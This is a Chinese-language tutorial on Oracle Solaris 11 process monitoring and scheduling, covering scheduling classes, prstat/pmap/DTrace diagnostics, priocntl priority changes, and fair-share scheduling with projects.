在使用 Oracle Solaris 11 时,许多执行中的进程组成了应用程序,甚至操作系统本身也运行着许多其他进程和线程,确保环境的平稳运行。因此,管理员每天都需要监控整个系统,并在必要时做出一些艰难的决策。此外,并非所有进程的优先级和紧迫性都相同,某些情况下需要给某个进程更高的优先级(例如,渲染图像)。在这里,我们引入了一个关键概念:调度类。

Oracle Solaris 11 有一个默认的进程调度器(svc:/system/scheduler:default),它根据每个进程的调度类来控制 CPU 的分配。以下是六个重要的调度类:

  • 时间共享TS):默认情况下,所有进程或线程(非 GUI)都分配到此类别,其优先级值是动态的,并且可以根据系统负载进行调整(范围为-60 到 60)。此外,系统调度程序会将优先级较低的进程/线程从处理器切换到优先级较高的另一个进程/线程。

  • 交互式IA):此类的行为与 TS 类相同(动态的,优先级值范围为-60 到 60),但 IA 类适用于具有相关窗口的 GUI 进程/线程。此外,当鼠标聚焦在窗口上时,绑定的进程或线程的优先级会增加 10 分。当鼠标焦点移开窗口时,绑定的进程会失去这 10 分。

  • 固定FX):此类的行为与 TS 类相同,不同之处在于与此类相关联的任何进程或线程都有固定的优先级值。值范围为 0 到 59,但进程或线程的初始优先级从开始到结束都保持不变。

  • 系统SYS):此类用于内核进程或线程,其优先级范围为 60 到 99。然而,一旦内核进程或线程开始处理,它会被绑定到 CPU 直到其生命周期结束(系统调度器不会将其移出处理器)。

  • 实时RT):此类的进程和线程具有固定的优先级,范围为 100 到 159。此类的任何进程或线程优先级都高于其他任何类。

  • 公平共享调度器FSS):由此类管理的任何进程或线程根据其共享值进行调度(而非优先级值),并根据处理器的使用情况来安排。优先级范围为-60 到 60。

通常,当管理员希望使用处理器集来控制系统上的资源分配或在部署 Oracle 区域时,会使用 FSS 类。可以更改任何进程或线程的优先级和类(系统类除外),但这种情况并不常见,例如使用 FSS。处理器集(处理器组)在处理时,绑定到该组的进程必须仅属于一个调度类(FSS 或 FX,但不能同时是两者)。除非必要,否则不建议使用 RT 类,因为 RT 进程绑定到处理器(或核心),直到其结束,并且只有在处理器空闲时才允许其他进程执行。

FSS 类是基于份额的,个人来说,我建立了总共 100 份,并将这些份额分配给进程、线程,甚至是 Oracle 区域。这是一种简单的资源分配方式,可以将 CPU 资源看作百分比(例如,10 份 = 10%)。

监控和处理进程执行

Oracle Solaris 11 提供了多种方法来监控和控制进程执行,没有一个最好的工具,因为每种方法都有其优点。

准备就绪

本教程需要一台运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),并且至少安装了 2GB 的内存。建议系统具有多个处理器或核心。

如何操作……

在 Oracle Solaris 11 中,监控进程的常用方法是使用传统的 ps 命令:

root@solaris11-1:~# ps -efcl -o s,uid,pid,zone,class,pri,vsz,rss,time,comm | more

如何操作…

根据前面截图中显示的输出,我们有:

  • S(状态)

  • UID(用户 ID)

  • PID(进程 ID)

  • ZsONE(区域)

  • CLS(调度类)

  • PRI(优先级)

  • VSZ(虚拟内存大小)

  • RSS(常驻集大小)

  • TIME(进程在 CPU 上运行的时间)

  • COMMAND(启动进程的命令)

此外,可能的进程状态如下:

  • O(正在处理器上运行)

  • S(睡眠——等待事件完成)

  • R(可运行——进程在队列中)

  • T(进程被停止,可能是由于作业控制信号或正在被追踪)

  • Z(僵尸——进程已完成且父进程未等待)

  • W(等待——进程正在等待 CPU 使用率降至执行的 CPU 限制)

注意

不要将虚拟内存大小VSZ)与常驻集大小RSS)混淆。进程的 VSZ 包括所有物理内存(RAM)上的信息,以及所有映射的文件和设备(交换区)。另一方面,RSS 值仅包括内存(RAM)中的信息。

监控 Oracle Solaris 11 进程的另一个重要命令是 prstat 工具。例如,可以通过执行以下命令列出每个进程的线程:

root@solaris11-1:~# prstat –L
PID USERNAME  SIZE   RSS STATE   PRI NICE      TIME  CPU PROCESS/LWPID   
  2609 root      129M   18M sleep    15    0   0:00:24 1.1% gnome-terminal/1
  1238 root       88M   74M sleep    59    0   0:00:41 0.5% Xorg/1
  2549 root      217M   99M sleep     1    0   0:00:45 0.3% java/22
  2549 root      217M   99M sleep     1    0   0:00:30 0.2% java/21
  2581 root       13M 2160K sleep    59    0   0:00:24 0.2% VBoxClient/3
  1840 root       37M 7660K sleep     1    0   0:00:26 0.2% pkg.depotd/2
(truncated output)

LWPID 列显示每个进程的线程数量。

其他不错的选项有–J(按项目汇总)、-Z(按区域汇总)和–mL(包括线程微状态信息)。要收集有关进程和项目的一些信息,请执行以下命令:

root@solaris11-1:~# prstat –J 
   PID USERNAME  SIZE   RSS STATE   PRI NICE      TIME  CPU PROCESS/NLWP      
  2549 root      217M   99M sleep    55    0   0:01:56 0.8% java/25
  1238 root       88M   74M sleep    59    0   0:00:44 0.4% Xorg/3
  1840 root       37M 7660K sleep     1    0   0:00:55 0.4% pkg.depotd/64
(truncated output)
PROJID    NPROC  SWAP   RSS MEMORY      TIME  CPU PROJECT                     
     1       43 2264M  530M    13%   0:03:46 1.9% user.root                   
     0       79  844M  254M   6.1%   0:03:12 0.9% system                      
     3        2   11M 5544K   0.1%   0:00:55 0.0% default                     

Total: 124 processes, 839 lwps, load averages: 0.23, 0.22, 0.22

注意输出第二部分的最后一列(PROJECT)。很有趣的是,Oracle Solaris 已经通过项目来工作,并且一些项目是默认创建的。顺便提一句,记住项目的结构是:项目 | 任务 | 进程。

收集有关进程和区域的信息是通过执行以下命令完成的:

root@solaris11-1:~# prstat -Z 
   PID USERNAME  SIZE   RSS STATE   PRI NICE      TIME  CPU PROCESS/NLWP      
  3735 root       13M   12M sleep    59    0   0:00:13 4.2% svc.configd/17
  3733 root       17M 8676K sleep    59    0   0:00:05 2.0% svc.startd/15
  2532 root      219M   83M sleep    47    0   0:00:15 0.8% java/25
  1214 root       88M   74M sleep     1    0   0:00:09 0.6% Xorg/3
   746 root        0K    0K sleep    99  -20   0:00:02 0.5% zpool-myzones/138
  (truncated output)

ZONEID    NPROC  SWAP   RSS MEMORY      TIME  CPU ZONE
     1       11   92M   36M   0.9%   0:00:18 6.7% zone1
     0      129 3222M  830M    20%   0:02:09 4.8% global
     2        5   18M 6668K   0.2%   0:00:00 0.2% zone2

根据输出,该系统中有一个global区域和另外两个非全局区域(zone1zone2)。

最后,要收集有关进程及其相应微状态信息,请执行以下命令:

root@solaris11-1:~# prstat –mL 
   PID USERNAME USR SYS TRP TFL DFL LCK SLP LAT VCX ICX SCL SIG PROCESS/LWPID 
  1925 pkg5srv  0.8 5.9 0.0 0.0 0.0 0.0  91 2.1 286   2  2K   0 htcacheclean/1
  1214 root     1.6 3.4 0.0 0.0 0.0 0.0  92 2.7 279  24  3K   0 Xorg/1
  2592 root     2.2 2.1 0.0 0.0 0.0 0.0  94 1.7 202   9  1K   0 gnome-termin/1
  2532 root     0.9 1.4 0.0 0.0 0.0  97 0.0 1.2 202   4 304   0 java/22
  5809 root     0.1 1.2 0.0 0.0 0.0 0.0  99 0.0  55   1  1K   0 prstat/1
  2532 root     0.6 0.5 0.0 0.0 0.0  98 0.0 1.3 102   6 203   0 java/21
(truncated output)

来自prtstat –mL(收集微状态信息)的输出非常有趣,因为它可以给我们一些关于性能问题的线索。例如,LAT列(延迟)指示等待 CPU 的时间百分比(可能是 CPU 问题),在这种情况下,常量值大于零可能表示 CPU 性能问题。

继续解释,可能的内存问题可以通过TFL(进程处理文本页面故障的时间百分比)和DFL(进程处理数据页面故障的时间百分比)列来突出显示,显示线程是否以及多少次(以百分比表示)等待内存分页。

以互补的方式,在处理进程时,有几个有用的命令,如下表所示:

目标 命令
显示堆栈进程
pstack <pid>

|

杀死一个进程
pkill <process name>

|

获取进程的进程 ID
pgrep –l <pid>

|

列出进程打开的文件
pfiles <pid>

|

获取进程的内存映射
pmap –x <pid>

|

列出进程的共享库
pldd <pid>

|

显示进程的所有参数
pargs –ea <pid>

|

跟踪一个进程
truss –p <pid>

|

收割僵尸进程
preap <pid>

|

例如,要查找top命令使用的共享库,请执行以下命令序列:

root@solaris11-1:~# top
root@solaris11-1:~# ps -efcl | grep top
 0 S     root  2672  2649   IA  59        ?   1112        ? 05:32:53 pts/3       0:00 top
 0 S     root  2674  2606   IA  54        ?   2149        ? 05:33:01 pts/2       0:00 grep top
root@solaris11-1:~# pldd 2672
2672:  top
/lib/amd64/libc.so.1
/usr/lib/amd64/libkvm.so.1
/lib/amd64/libelf.so.1
/lib/amd64/libkstat.so.1
/lib/amd64/libm.so.2
/lib/amd64/libcurses.so.1
/lib/amd64/libthread.so.1

要查找最上层的堆栈,请执行以下命令:

root@solaris11-1:~# pstack 2672
2672:  top
 ffff80ffbf54a66a pollsys  (ffff80ffbfffd070, 1, ffff80ffbfffd1f0, 0)
 ffff80ffbf4f1995 pselect () + 181
 ffff80ffbf4f1e14 select () + 68
 000000000041a7d1 do_command () + ed
 000000000041b5b3 main () + ab7
 000000000040930c ???????? ()

要验证一个应用程序(如 Firefox 浏览器)打开了哪些文件,我们必须执行以下命令:

root@solaris11-1:~# firefox &
root@solaris11-1:~# ps -efcl | grep firefox
 0 S     root  2600  2599   IA  59        ?  61589        ? 13:50:14 pts/1       0:07 firefox
 0 S     root  2616  2601   IA  58        ?   2149        ? 13:51:18 pts/2       0:00 grep firefox
root@solaris11-1:~# pfiles 2600
2600:  firefox
  Current rlimit: 1024 file descriptors
   0: S_IFCHR mode:0620 dev:563,0 ino:45703982 uid:0 gid:7 rdev:195,1
      O_RDWR
      /dev/pts/1
      offset:997
   1: S_IFCHR mode:0620 dev:563,0 ino:45703982 uid:0 gid:7 rdev:195,1
      O_RDWR
      /dev/pts/1
      offset:997
   2: S_IFCHR mode:0620 dev:563,0 ino:45703982 uid:0 gid:7 rdev:195,1
      O_RDWR
      /dev/pts/1
      offset:997
(truncated output)

另一个来自前表的优秀命令是pmap,它显示关于进程地址空间的信息。例如,要查看当前 shell 的地址空间,执行以下命令:

root@solaris11-1:~# pmap -x $$
2675:  bash
 Address  Kbytes     RSS    Anon  Locked Mode   Mapped File
08050000    1208    1184       -       - r-x--  bash
0818E000      24      24       8       - rw---  bash
08194000     188     188      32       - rw---    [ heap ]
EF470000      56      52       -       - r-x--  methods_unicode.so.3
EF48D000       8       8       -       - rwx--  methods_unicode.so.3
EF490000    6744     248       -       - r-x--  en_US.UTF-8.so.3
EFB36000       4       4       -       - rw---  en_US.UTF-8.so.3
FE550000     184     148       -       - r-x--  libcurses.so.1
FE58E000      16      16       -       - rw---  libcurses.so.1
FE592000       8       8       -       - rw---  libcurses.so.1
FE5A0000       4       4       4       - rw---    [ anon ]
FE5B0000      24      24       -       - r-x--  libgen.so.1
FE5C6000       4       4       -       - rw---  libgen.so.1
FE5D0000      64      16       -       - rwx--    [ anon ]
FE5EC000       4       4       -       - rwxs-    [ anon ]
FE5F0000       4       4       4       - rw---    [ anon ]
FE600000      24      12       4       - rwx--    [ anon ]
FE610000    1352    1072       -       - r-x--  libc_hwcap1.so.1
FE772000      44      44      16       - rwx--  libc_hwcap1.so.1
FE77D000       4       4       -       - rwx--  libc_hwcap1.so.1
FE780000       4       4       4       - rw---    [ anon ]
FE790000       4       4       4       - rw---    [ anon ]
FE7A0000       4       4       -       - rw---    [ anon ]
FE7A8000       4       4       -       - r--s-    [ anon ]
FE7B4000     220     220       -       - r-x--  ld.so.1
FE7FB000       8       8       4       - rwx--  ld.so.1
FE7FD000       4       4       -       - rwx--  ld.so.1
FEFFB000      16      16       4       - rw---    [ stack ]
-------- ------- ------- ------- -------
total Kb   10232    3332      84       -

pmap输出向我们展示了以下关键信息:

  • Address:这是每个映射的起始虚拟地址

  • Kbytes:这是每个映射的虚拟大小

  • RSS:每个映射的内存占用量(以 KB 为单位),包括共享内存

  • Anon:匿名内存的页面数量,通常大致定义为堆和栈页面的总和,这些页面在磁盘上没有对应的副本(不包括与其他地址空间共享的内存)。

  • Lock:映射中锁定的页面数量。

  • 权限:每个映射的虚拟内存权限。有效权限如下:

    • x 该映射中的任何指令都可以由进程执行。

    • w 该映射可以被进程写入。

    • r 该映射可以被进程读取。

    • s 该映射与其他进程共享。

    • R 该进程没有预留交换空间。

  • 映射文件:每个映射的名称,如可执行文件、库文件和匿名页面(堆和栈)。

最后,有一个非常优秀的框架,DTrace,可以让你获取有关进程及其他与 Oracle Solaris 11 相关的信息。

什么是 DTrace?它是一个巧妙的仪器工具,用于故障排除,主要作为性能分析的合适框架。DTrace 由成千上万的探针(传感器)组成,这些探针分布在 Oracle Solaris 内核中。简而言之,当程序运行时,内存、CPU 或 I/O 中的任何触发的探针都会激活并收集相关活动的信息,从而让我们洞察系统在哪些地方花费了更多时间,并能够生成报告。

DTrace 是非侵入式的(不会对系统增加性能负担),并且是安全的(默认情况下,只有 root 用户具有足够的权限使用 DTrace),它使用 Dscript 语言(类似 AWK)。与其他工具(如 trussapptracesarprextnflockstatmdb)不同,这些工具只能让你知道问题区域,DTrace 则提供了问题的准确位置。

DTrace 探针的基本结构如下:

provider:module:function:name

上一个探针的解释如下:

  • provider:这些是系统的仪器库,如 syscall(系统调用)、proc(进程)、fbt(函数边界跟踪)、lockstat 等。

  • module:表示创建探针的共享库或内核模块。

  • function:这是包含探针的程序、进程或线程函数。

  • name:这是探针的名称。

使用 DTrace 时,可以为每个探针关联一个操作,当该探针被触发时,操作会被执行。默认情况下,所有探针都被禁用,并且不会消耗 CPU 处理能力。

DTrace 探针可以通过执行以下命令列出:

root@solaris11-1:~# dtrace -l | more

上一个命令的输出如下所示:

如何操作...

在 Oracle Solaris 11 中,以下命令会报告可用探针的数量:

root@solaris11-1:~# dtrace -l | wc –l
   75899

DTrace 是一个非常有趣且庞大的主题。当然,我们可以专门 dedicate 整个章节甚至一本书来解释 DTrace 的世界。

在简短介绍 DTrace 之后,我们可以使用它来列出任何新进程(包括其相应的参数),只需运行以下命令:

root@solaris11-1:~# dtrace -n 'proc:::exec-success { trace(curpsinfo->pr_psargs); }'
dtrace: description 'proc:::exec-success ' matched 1 probe
 CPU     ID                    FUNCTION:NAME
   3   7639         exec_common:exec-success   bash                             
   2   7639         exec_common:exec-success   /usr/bin/firefox                 
   0   7639         exec_common:exec-success   sh -c ps -e -o 'pid tty time comm'> /var/tmp/aaacLaiDl
   0   7639         exec_common:exec-success   ps -e -o pid tty time comm       
   0   7639         exec_common:exec-success   ps -e -o pid tty time comm       
   1   7639         exec_common:exec-success   sh -c ps -e -o 'pid tty time comm'> /var/tmp/caaeLaiDl
   2   7639         exec_common:exec-success   sh -c ps -e -o 'pid tty time comm'> /var/tmp/baadLaiDl
   2   7639         exec_common:exec-success   ps -e -o pid tty (truncated output)

有许多非常有用的单行追踪器,如之前所示,可从 Brendan Gregg 的网站www.brendangregg.com/DTrace/dtrace_oneliners.txt下载。

使用 DTrace 获取任何种类的信息都是可行的。例如,通过执行以下命令获取每个程序的系统调用计数:

root@solaris11-1:~# dtrace -n 'syscall:::entry { @num[pid,execname] = count(); }'
dtrace: description 'syscall:::entry ' matched 213 probes
^C
       11  svc.startd                                           2
       13  svc.configd                                          2
       42  netcfgd                                              2
(truncated output)
     2610  gnome-terminal                                     1624
     2549  java                                               2464
     1221  Xorg                                               5246
     2613  dtrace                                             5528
     2054  htcacheclean                                       9503

要获取每个进程读取字节的总数,执行以下命令:

root@solaris11-1:~# dtrace -n 'sysinfo:::readch { @bytes[execname] = sum(arg0); }'
dtrace: description 'sysinfo:::readch ' matched 4 probes
^C
  in.mpathd                                                      1
  named                                                         56
  sed                                                          100
  wnck-applet                                                  157
 (truncated output)
  VBoxService                                                20460
  svc.startd                                                 40320
  Xorg                                                       65294
  ps                                                       1096780
  thunderbird-bin                                          3191863

要获取按进程写入字节的数量,运行以下命令:

root@solaris11-1:~# dtrace -n 'sysinfo:::writech { @bytes[execname] = sum(arg0); }'
dtrace: description 'sysinfo:::writech ' matched 4 probes
^C
  dtrace                                                         1
  gnome-power-mana                                               8
  xscreensaver                                                  36
  gnome-session                                                367
  clock-applet                                                 404
  named                                                        528
  gvfsd                                                        748
  (truncated output)
  metacity                                                   24616
  ps                                                         59590
  wnck-applet                                                65523
  gconfd-2                                                   83234
  Xorg                                                      184712
  firefox                                                   403682

要知道按进程换入的页面数量,执行以下命令:

root@solaris11-1:~# dtrace -n 'vminfo:::pgpgin { @pg[execname] = sum(arg0); }'
dtrace: description 'vminfo:::pgpgin ' matched 1 probe
^C
(no output)

要列出按进程划分的磁盘大小,运行以下命令:

root@solaris11-1:~# dtrace -n 'io:::start { printf("%d %s %d",pid,execname,args[0]->b_bcount); }'
dtrace: description 'io:::start ' matched 3 probes
 CPU     ID                    FUNCTION:NAME
   1   6962              bdev_strategy:start 5 zpool-rpool 4096
   1   6962              bdev_strategy:start 5 zpool-rpool 4096
   2   6962              bdev_strategy:start 5 zpool-rpool 4096
   2   6962              bdev_strategy:start 2663 firefox 3584
   2   6962              bdev_strategy:start 2663 firefox 3584
   2   6962              bdev_strategy:start 2663 firefox 3072
   2   6962              bdev_strategy:start 2663 firefox 4096
^C
(truncated output)

从 Brendan Gregg 的网站(www.brendangregg.com/dtrace.html),我们还可以找到其他优秀的脚本。例如,prustat.d(我们可以将其保存在主目录中)就是其中之一,其输出不言自明;可以通过以下命令获得:

root@solaris11-1:~# chmod u+x prustat.d 
root@solaris11-1:~# ./prustat.d 
  PID   %CPU   %Mem  %Disk   %Net  COMM
 2537   0.91   2.38   0.00   0.00  java
 1218   0.70   1.81   0.00   0.00  Xorg
 2610   0.51   0.47   0.00   0.00  gnome-terminal
 2522   0.00   0.96   0.00   0.00  nautilus
 2523   0.01   0.78   0.00   0.00  updatemanagerno
 2519   0.00   0.72   0.00   0.00  gnome-panel
 1212   0.42   0.20   0.00   0.00  pkg.depotd
  819   0.00   0.53   0.00   0.00  named
  943   0.17   0.36   0.00   0.00  poold
   13   0.01   0.47   0.00   0.00  svc.configd
 (truncated output)

从 DTraceToolkit 网站(www.brendangregg.com/dtracetoolkit.html),我们可以下载并将topsysproc.d脚本保存在主目录中。然后,通过执行它,我们可以找出哪些进程执行更多的系统调用,正如以下命令所示:

root@solaris11-1:~/DTraceToolkit-0.99/Proc# ./topsysproc  10
2014 May  4 19:25:10, load average: 0.38, 0.30, 0.28   syscalls: 12648
   PROCESS                          COUNT
   isapython2.6                        20
   sendmail                            20
   dhcpd                               24
   httpd.worker                        30
   updatemanagernot                    40
   nautilus                            42
   xscreensaver                        50
   tput                                59
   gnome-settings-d                    62
   metacity                            75
   VBoxService                         81
   ksh93                              118
   clear                              163
   poold                              201
   pkg.depotd                         615
   VBoxClient                         781
   java                              1249
   gnome-terminal                    2224
   dtrace                            2712
   Xorg                              3965

配方概述

你已经学会了如何使用多个工具(如prstatpsdtrace)来监控进程。此外,你还看到了几个命令,解释了如何控制和分析一个进程。

管理 Solaris 11 中的进程优先级

Oracle Solaris 11 允许我们使用priocntl命令更改进程的优先级,无论是在进程启动时还是进程运行后。

准备就绪

本配方要求至少有 2GB RAM 的虚拟机(如 VirtualBox 或 VMware)运行 Oracle Solaris 11。建议系统有多个处理器或核心。

如何操作…

引言部分,我们讨论了调度类,这次我们将看到关于这个主题的更多信息。首先,通过执行以下命令列出现有的和活动的类:

root@solaris11-1:~# priocntl -l
CONFIGURED CLASSES
==================
SYS (System Class)

TS (Time Sharing)
  Configured TS User Priority Range: -60 through 60

SDC (System Duty-Cycle Class)

FSS (Fair Share)
  Configured FSS User Priority Range: -60 through 60

FX (Fixed priority)
  Configured FX User Priority Range: 0 through 60

IA (Interactive)
  Configured IA User Priority Range: -60 through 60

RT (Real Time)
  Configured RT User Priority Range: 0 through 59

在处理优先级时,我们在本章中学到的,只有正值部分是重要的,我们需要小心,因为前面输出中的值有它们自己的类别作为参考。因此,它们不是绝对值。

为了展示一个简单的例子,通过执行以下命令,启动一个具有特定类别(FX)和优先级(55)的进程:

root@solaris11-1:~# priocntl -e -c FX -m 60 -p 55 gcalctool
root@solaris11-1:~# ps -efcl | grep gcalctool
 0 S     root  2660  2646   FX  55        ?  33241        ? 04:48:52 pts/1       0:01 gcalctool
 0 S     root  2664  2661  FSS  22        ?   2149        ? 04:50:09 pts/2       0:00 grep gcalctool

如前所见,过程正在使用我们选择的确切类和优先级。此外,适当地解释一些选项,如-e(执行指定命令)、-c(设置类)、-p(类内选择的优先级)和-m(进程优先级可以提升到的最大限制)。

下一个练习是改变进程启动后的优先级。例如,通过执行以下命令,top 工具将以 FX 类运行,分配的优先级为 40,如下所示:

root@solaris11-1:~# priocntl -e -c FX -m 60 -p 40 top
root@solaris11-1:~# ps -efcl | grep top
 0 S     root  2662  2649   FX  40        ?   1112        ? 05:16:21 pts/3       0:00 top
 0 S     root  2664  2606   IA  33        ?   2149        ? 05:16:28 pts/2       0:00 grep top

然后,为了更改正在运行的优先级,执行以下命令:

root@solaris11-1:~# priocntl -s -p 50 2662
root@solaris11-1:~# ps -efcl | grep top
 0 S     root  2662  2649   FX  50        ?   1112        ? 05:16:21 pts/3       0:00 top
 0 S     root  2667  2606   IA  55        ?   2149        ? 05:17:00 pts/2       0:00 grep top

这很完美!-s选项用于更改优先级的参数,–p选项将新的优先级分配给进程。

如果我们尝试使用 TS 类,结果就不会一样,因为该测试系统没有严重的负载(几乎是空闲的),在这种情况下,优先级会自动提高到大约 59。

配方概述

你已经学习了如何配置进程类,以及如何使用 priocntl 命令在启动时和执行过程中更改进程的优先级。

配置 FSS 并将其应用到项目中

FSS 类是管理 Oracle Solaris 11 中资源分配(例如,CPU)的最佳选择。在本节中,我们将学习如何使用它。

准备就绪

本配方需要一台运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),并且至少需要 4 GB 的内存。建议系统只有一个处理器或核心。

如何操作…

在 Oracle Solaris 11 中,默认的调度程序类是 TS,如以下命令所示:

root@solaris11-1:~# dispadmin -d
TS  (Time Sharing)

这个默认配置来自 /etc/dispadmin.conf 文件:

root@solaris11-1:~# more /etc/dispadmin.conf
#
# /etc/dispadmin.conf
#
# Do NOT edit this file by hand -- use dispadmin(1m) instead.
#
DEFAULT_SCHEDULER=TS

如果需要验证和更改默认的调度程序,我们可以通过运行以下命令来完成此任务:

root@solaris11-1:~# dispadmin -d FSS
root@solaris11-1:~# dispadmin -d 
FSS  (Fair Share)

root@solaris11-1:~# more /etc/dispadmin.conf 
#
# /etc/dispadmin.conf
#
# Do NOT edit this file by hand -- use dispadmin(1m) instead.
#
DEFAULT_SCHEDULER=FSS 

不幸的是,这个新设置只对在命令执行后新创建的进程生效,但当前的进程仍然使用先前配置的类(TS 和 IA),如下所示:

root@solaris11-1:~# ps -efcl -o s,uid,pid,zone,class,pri,comm | more
S   UID   PID     ZONE  CLS PRI COMMAND
T     0     0   global  SYS  96 sched
S     0     5   global  SDC  99 zpool-rpool
S     0     6   global  SDC  99 kmem_task
S     0     1   global   TS  59 /usr/sbin/init
S     0     2   global  SYS  98 pageout
S     0     3   global  SYS  60 fsflush
S     0     7   global  SYS  60 intrd
S     0     8   global  SYS  60 vmtasks
S 60002  1173   global   TS  59 /usr/lib/fm/notify/smtp-notify
S     0    11   global   TS  59 /lib/svc/bin/svc.startd
S     0    13   global   TS  59 /lib/svc/bin/svc.configd
S    16    99   global   TS  59 /lib/inet/ipmgmtd
S     0   108   global   TS  59 /lib/inet/in.mpathd
S    17    40   global   TS  59 /lib/inet/netcfgd
S     0   199   global   TS  59 /usr/sbin/vbiosd
S     0   907   global   TS  59 /usr/lib/fm/fmd/fmd
(truncated output)

要更改所有当前进程的设置(-i 选项)以使用 FSS(-c 选项),并且无需重启系统,执行以下命令:

root@solaris11-1:~# priocntl -s -c FSS -i all
root@solaris11-1:~# ps -efcl -o s,uid,pid,zone,class,pri,comm | more
S   UID   PID     ZONE  CLS PRI COMMAND
T     0     0   global  SYS  96 sched
S     0     5   global  SDC  99 zpool-rpool
S     0     6   global  SDC  99 kmem_task
S     0     1   global   TS  59 /usr/sbin/init
S     0     2   global  SYS  98 pageout
S     0     3   global  SYS  60 fsflush
S     0     7   global  SYS  60 intrd
S     0     8   global  SYS  60 vmtasks
S 60002  1173   global  FSS  29 /usr/lib/fm/notify/smtp-notify
S     0    11   global  FSS  29 /lib/svc/bin/svc.startd
S     0    13   global  FSS  29 /lib/svc/bin/svc.configd
S    16    99   global  FSS  29 /lib/inet/ipmgmtd
S     0   108   global  FSS  29 /lib/inet/in.mpathd
S    17    40   global  FSS  29 /lib/inet/netcfgd
S     0   199   global  FSS  29 /usr/sbin/vbiosd
S     0   907   global  FSS  29 /usr/lib/fm/fmd/fmd
S     0  2459   global  FSS  29 gnome-session
S    15    66   global  FSS  29 /usr/sbin/dlmgmtd
S     1    88   global  FSS  29 /lib/crypto/kcfd
S     0   980   global  FSS  29 /usr/lib/devchassis/devchassisd
S     0   138   global  FSS  29 /usr/lib/pfexecd
S     0   277   global  FSS  29 /usr/lib/zones/zonestatd
O     0  2657   global  FSS   1 more
S    16   638   global  FSS  29 /lib/inet/nwamd
S    50  1963   global  FSS  29 /usr/bin/dbus-launch
S     0   291   global  FSS  29 /usr/lib/dbus-daemon
S     0   665   global  FSS  29 /usr/lib/picl/picld
 (truncated output)

快完成了,但不幸的是,init 进程(PID 等于 1)没有被更改为 FSS 类。这个更改操作是手动进行的,通过执行以下命令:

root@solaris11-1:~# priocntl -s -c FSS -i pid 1
root@solaris11-1:~# ps -efcl -o s,uid,pid,zone,class,pri,comm | more
S   UID   PID     ZONE  CLS PRI COMMAND
T     0     0   global  SYS  96 sched
S     0     5   global  SDC  99 zpool-rpool
S     0     6   global  SDC  99 kmem_task
S     0     1   global  FSS  29 /usr/sbin/init
S     0     2   global  SYS  98 pageout
S     0     3   global  SYS  60 fsflush
S     0     7   global  SYS  60 intrd
S     0     8   global  SYS  60 vmtasks
S 60002  1173   global  FSS  29 /usr/lib/fm/notify/smtp-notify
S     0    11   global  FSS  29 /lib/svc/bin/svc.startd
S     0    13   global  FSS  29 /lib/svc/bin/svc.configd
S    16    99   global  FSS  29 /lib/inet/ipmgmtd
S     0   108   global  FSS  29 /lib/inet/in.mpathd
(truncated output)

从这里开始,可以使用项目(Oracle Solaris 的一个非常好的概念)、任务和 FSS 来创建一个有吸引力的示例。接下来是一个快速演示。

你应该知道,一个项目可以有一个或多个任务,每个任务可以有一个或多个进程(如本章前面所示)。从初始安装开始,Oracle Solaris 11 已经有一些默认项目,如以下命令所示:

root@solaris11-1:~# projects 
user.root default 
root@solaris11-1:~# projects -l
system
  projid : 0
  comment: ""
  users  : (none)
  groups : (none)
  attribs: 
user.root
  projid : 1
  comment: ""
  users  : (none)
  groups : (none)
  attribs: 
(truncated output)
root@solaris11-1:~# more /etc/project 
system:0::::
user.root:1::::
noproject:2::::
default:3::::
group.staff:10::::  

在这个练习中,我们将创建四个新的项目:ace_proj_1ace_proj_2ace_proj_3ace_proj_4。每个项目将关联一定数量的份额(分别为 40、30、20 和 10)。此外,它还将通过启动 Firefox 实例来创建一些无用但占用 CPU 的任务。

因此,执行以下命令来执行这些任务:

root@solaris11-1:~# projadd -U root -K "project.cpu-shares=(priv,40,none)" ace_proj_1
root@solaris11-1:~# projadd -U root -K "project.cpu-shares=(priv,30,none)" ace_proj_2
root@solaris11-1:~# projadd -U root -K "project.cpu-shares=(priv,20,none)" ace_proj_3
root@solaris11-1:~# projadd -U root -K "project.cpu-shares=(priv,10,none)" ace_proj_4
root@solaris11-1:~# projects 
user.root default ace_proj_1 ace_proj_2 ace_proj_3 ace_proj_4

这里是技巧的关键。FSS 类只有在以下情况下才开始起作用:

  • 所有进程的 CPU 总消耗超过 100%

  • 定义项目的所有进程的总和超过当前的 CPU 数量

因此,为了能够看到 FSS 效果,如前所述,我们必须重复执行以下四个命令几次(使用 Bash 历史命令在这里非常合适),命令如下:

root@solaris11-1:~# newtask -p ace_proj_1 firefox &
[1] 3016
root@solaris11-1:~# newtask -p ace_proj_2 firefox &
[2] 3032
root@solaris11-1:~# newtask -p ace_proj_3 firefox &
[3] 3037
root@solaris11-1:~# newtask -p ace_proj_4 firefox &
[4] 3039

随着时间的推移和任务数量的增加,每个项目将接近 FSS 份额的限制(分别为 40%、30%、20% 和 10% 的处理器)。我们可以通过执行以下命令来跟踪这一趋势:

root@solaris11-1:~# prstat -JR
PID USERNAME  SIZE   RSS STATE   PRI NICE      TIME  CPU PROCESS/NLWP
  3516 root     8552K 1064K cpu1     49    0   0:01:25  25% dd/1
  3515 root     8552K 1064K run       1    0   0:01:29 7.8% dd/1
  1215 root       89M   29M run      46    0   0:00:56 0.0% Xorg/3
  2661 root       13M  292K sleep    59    0   0:00:28 0.0% VBoxClient/3
   750 root       13M 2296K sleep    55    0   0:00:02 0.0% nscd/32
  3518 root       11M 3636K cpu0     59    0   0:00:00 0.0% 

(truncated output)

PROJID    NPROC  SWAP   RSS MEMORY      TIME  CPU PROJECT
   100        4   33M 4212K   0.1%   0:01:49  35% ace_proj_1
   101        4   33M 4392K   0.1%   0:01:14  28% ace_proj_2
   102        4   33M 4204K   0.1%   0:00:53  20% ace_proj_3
   103        4   33M 4396K   0.1%   0:00:30  11% ace_proj_4
     3        2   10M 4608K   0.1%   0:00:06 0.8% default
     1       41 2105M  489M    12%   0:00:09 0.7% user.root
     0       78  780M  241M   5.8%   0:00:20 0.3% system

带有 –J 选项的 prstat 命令显示现有项目的摘要,–R 选项要求内核在 RT 调度类中执行 prstat 命令。如果读者遇到无法获得预期结果的问题,可以将 firefox 命令替换为 dd if=/dev/zero of=/dev/null & 命令来获得相同的结果。

需要特别强调的是,虽然并非所有项目都使用其完整的 CPU 份额,但其他项目可以借用一些份额(百分比)。这就是为什么 ace_proj_4 使用了 11% 的原因,因为 ace_proj_1 仅使用了 35%(最大为 40%)。

方案概述

在本节中,您学会了如何以临时和持久的方式将默认调度器从 TS 更改为 FSS。最后,您看到了一个使用项目、任务和 FSS 的完整示例。

参考资料

